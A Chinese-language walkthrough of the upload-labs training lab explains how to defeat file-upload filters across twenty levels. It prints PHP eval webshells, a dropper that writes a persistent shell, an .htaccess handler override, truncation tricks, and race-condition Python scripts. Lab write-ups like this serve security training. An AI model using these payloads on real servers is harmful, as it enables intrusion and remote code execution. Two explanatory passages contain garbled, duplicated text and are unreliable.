文件上传upload-lads

文件上传upload-lads

第一关 前端绕过(js)

本关是对文件名的过滤(在客户端进行)

即若文件名中存在php等后缀则直接过滤(弹窗)

上传一个webshell到服务器

但只容许上传".jpg|.png|.gif";

".jpg|.png|.gif";

jpg。png。gif的文件都不可执行,所以需要上传.php的文件

创建1.jpg

写入一句话木马

GIF89a
<?php @eval ($_POST[pass] ) ;?>

使用bp重放

修改文件名为1.php即可

或者

因为是进行前端JS校验,因此可以直接在浏览器检查代码把checkFile()函数删了或者也可以把红色框改成true,并按回车,即可成功上传php文件

第二关 后端验证Content-type

服务器过滤

传入.php的一句话

修改Content-Type: application/octet-stream

为image/jpeg或者image/png

即可上传

第三关 黑名单绕过

用黑名单不允许上传.asp,.aspx,.php,.jsp后缀的文件
但可以上传.phtml .phps .php5 .pht. php3
前提是apache的httpd.conf中有如下配置代码

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

文件上传upload-lads

改完之后即可上传成功

(尝试后发现php5会连接出错,php3可以)

第四关 .htaccess绕过

知识点:.htaccess是一个纯文本文件,里面存放着Apache服务器配置相关的一些指令,它类似于Apache的站点配置文件

httpd.conf(Apache2已经支持多站点,因此你的站点配置文件可能在/etc/apache2/conf.d/目录下)。 .htaccess与httpd.conf配置文件不同的是,它只作用于当前目录

另外httpd.conf是在Apache服务启动的时候就加载的,而.htaccess只有在用户访问目录时加载

黑名单拒绝了几乎所有有问题的后缀名,除了.htaccess
前提条件(1.mod_rewrite模块开启。2.AllowOverride All
因此先上传一个.htaccess文件,内容如下:

SetHandler application/x-httpd-php 

这样所有文件都会当成php来解析

.htaccess文件不能有文件名,否则不运行

文件上传upload-lads

之后传入含有一句话木马的.jpg即可连接

第五关 大小写绕过

查看源码得知

相比于pass-4,过滤了.htaccess,但将后缀转换为小写去掉了,因此可以使用大小绕过

传入big and little**.PHP**即可

window值是window根据windows特性所使用的漏洞,服务器为linux时不适用

window第六关 空格绕过

查看源码得知

相比pass-4 取消了前后空格的过滤

所以使用bp在.php后加空格即可(.php )

利用Windows系统的文件名特性。文件名最后增加空格,写成06.php ,上传后保存在Windows系统上的文件名最后的一个空格会被去掉,实际上保存的文件名就是06.php

window第七关 点绕过

没有对后缀名末尾的点进行处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:

文件上传upload-lads

window第八关 ::$DATA绕过

没有对后缀名中的’:: D A T A ’ 进 行 过 滤 。 在 p h p + w i n d o w s 的 情 况 下 : 如 果 文 件 名 + " : : DATA’进行过滤。在php+windows的情况下:如果文件名+":: DATA’进行过滤。在php+windows的情况下:如果文件名+"::DATA"会把:: D A T A 之 后 的 数 据 当 成 文 件 流 处 理 , 不 会 检 测 后 缀 名 . 且 保 持 " : : DATA之后的数据当成文件流处理,不会检测后缀名.且保持":: DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::DATA"之前的文件名。利用windows特性,可在后缀名中加” ::$DATA”绕过:

文件上传upload-lads

windows第九关 点+空格+点绕过

代码先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar函数来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php. .(点+空格+点)来绕过

文件上传upload-lads

第十关 双写绕过(pphphp)

黑名单过滤,将黑名单里的后缀名替换为空且只替换一次,因此可以用双写绕过

后缀改为.pphphp

即可

第十一关GET%00截断

本题使用buu应该无法复现(buu可能是linux服务器)

php.ini文件里的magic_quotes_gpc可以为true

所以无法上传%00截断的文件

本机上:

通过抓包截断将【evil.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【evil.php.jpg】的内容写入到【evil.php】中,从而达到攻击的目的。

截断条件:
php版本小于5.3.4 详情关注CVE-2006-7243
php的magic_quotes_gpc为OFF状态

关键代码:

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

因为img_path是直接拼接的所以可以用00截断

可以通过截断上传(0x00,%00,/00 )实现。

上传路径名%00截断绕过。上传的文件名写成one.jpg,
save_path改成…/upload/one.php%00,最后保存下来的文件就是one.php

文件上传upload-lads

第十二关 post%00截断

 $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

save_path使用post的方法接收

save_path参数通过POST方式传递,还是利用00截断,因为POST不会像GET对%00进行自动解码,所以需要在二进制中进行修改。

文件上传upload-lads

第十三关 图片马+文件包含漏洞绕过

  $bin = fread($file, 2); //只读2字节

通过读文件的前2个字节判断文件类型,因此直接上传图片马即可,制作图片马:

cmd:

copy 图片.jpg /b + hack.php /a shell.jpg

注:/b是转换二进制 /a是转换ascll码

文件上传upload-lads

直接访问图片并不能把图片当做PHP解析,因此还需要利用文件包含漏洞

题目直接给出了,构造即可

payload:

?include.php?upload/3020211007002439.jpg

第十四关 getimagesize()-图片

这题是用getimagesize函数判断文件类型,还是可以图片马绕过,方法同pass-13

  $info = getimagesize($filename);

第十五题 exif_imagetype()-图片马

这里用到php_exif模块来判断文件类型,用图片马绕过,方法同pass-13

    $image_type = exif_imagetype($filename);

第十六关 二次渲染绕过

这一关对上传图片进行了判断了后缀名content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点

上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片

利用文件包含漏洞

文件上传upload-lads

蚁剑连接即可

第十七关 条件竞争一

这道题复现了好久但就是不行,猜测是buu有防护使用bp进行攻击会停止访问,导致题目无法复现,这里是大佬在本机上配置的环境做的复现

提示是需要代码审计

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

	if(move_uploaded_file($temp_file, $upload_file)){
   		 if(in_array($file_ext,$ext_arr)){
      $img_path=UPLOAD_PATH.'/'.rand(10,99).date("YmdHis").".".$file_ext;
         rename($upload_file, $img_path);
         $is_upload = true;
    }else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
        unlink($upload_file);
    }
}else{
    $msg = '上传出错!';
	}
}

从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。

​ 这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。(默认是没有文件上传漏洞的)但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。

​ 那还怎么搞?上传上去就被删除了,我还怎么去访问啊。

​ 不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过

​ 我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。

​ 为了更好的演示效果,把一句话木马换一下改为:

<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>

​ 把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个Tony.php的一句话。在正常的渗透测试中这也是个好办法。因为单纯的去访问带有phpinfo()的文件并没有什么效果。一旦删除了还是无法利用。但是这个办法生成的Tony.php服务器是不会删除的,我们就可以通过蚁剑去链接了。

​ 首先,我们上传PHP文件,用BP拦截

进行下一步操作前,这里有个小细节,就是不要把BP的拦截功能关闭了,要一直保持拦截状态以达到测试更好的效果

然后选择Clear$

文件上传upload-lads

接着设置无限发送空的Payloads,来让它一直上传该文件

文件上传upload-lads

文件上传upload-lads

然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的zoe.php文件) 由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址

import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

接下来我们可以在BP点击开始攻击

可以看到上传该文件的数据包不停地在进行重放。

在BP攻击的同时我们也要运行python脚本,目的就是不停地访问zoe.php知道成功访问到为止。当出现OK说明访问到了该文件,那么Tony.php应该也创建成功了,用蚁剑连一下即可

第十八关 条件竞争二

靶场有点问题不管传什么文件都传不到upload目录下,需要进行修改

同上题

打开第十八关,发现还是需要代码审计。那么再来看看源码吧。

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。

<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>

第二步:上传图片马,用BP拦截(基本上在BP上的操作跟上面第17关没区别)

然后我们要修改一下python脚本,不能再用回第17关的脚本了,这里脚本要修改为文件包含来访问(由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址

import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break

当出现OK说明访问到了该文件,那么Tony.php应该也创建成功了,用蚁剑连一下试试。

第十九关 00截断

$file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH . '/' .$file_name;

发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过,方法同pass-12

文件上传upload-lads

文件上传upload-lads

文件上传upload-lads

或者

没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.

先准备PHP一句话木马,并把后缀名改为PNG再上传

文件上传upload-lads

然后用BP来抓包,效果如下图,就是在upload-19.jpg改为upload-19.php/.

文件上传upload-lads

修改完直接放包,然后复制图片地址,用蚁剑连接

文件上传upload-lads

第二十关

不是很懂看完大佬的wp后,理解了一点

这一关白名单
验证过程:
–> 验证上传路径是否存在
–> 验证[‘upload_file’]的content-type是否合法(可以抓包修改)
–> 判断POST参数是否为空定义 f i l e 变 量 ( 关 键 : 构 造 数 组 绕 过 下 一 步 的 判 断 ) − − > 判 断 f i l e 不 是 数 组 则 使 用 e x p l o d e ( ′ . ′ , s t r t o l o w e r ( file变量(关键:构造数组绕过下一步的判断) -->判断file不是数组则使用explode('.', strtolower( file变量(关键:构造数组绕过下一步的判断)−−>判断file不是数组则使用explode(′.′,strtolower(file))对file进行切割,将file变为一个数组
–> 判断数组最后一个元素是否合法
–> 数组第一位和 f i l e [ c o u n t ( file[count( file[count(file) - 1]进行拼接,产生保存文件名file_name
–> 上传文件

补充知识:
explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)函数,输出数组中的当前元素和最后一个元素的值。
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)函数,计算数组中的单元数目,或对象中的属性个数

首先准备PHP一句话木马

bp拦截

文件上传upload-lads

我们要改的就是下面的要求

修改content-type
修改POST参数为数组类型,索引[0]为`upload-20.php`,索引[2]为`jpg|png|gif`。
只要第二个索引`不为1`,$file[count($file) - 1]就等价于$file[2-1],值为空

放包

复制图片地址,用蚁剑进行连接,这里有个细节,可能有人会问蚁剑连接的URL地址
.php后面有一个点,我们需不需要把它删了,其实这个点删不删没所谓,不影响的,照样能连上

文件上传upload-lads

欢迎交流

上一篇:将JPG格式图片转换成PNG格式 - Python


下一篇:heic转换成jpg格式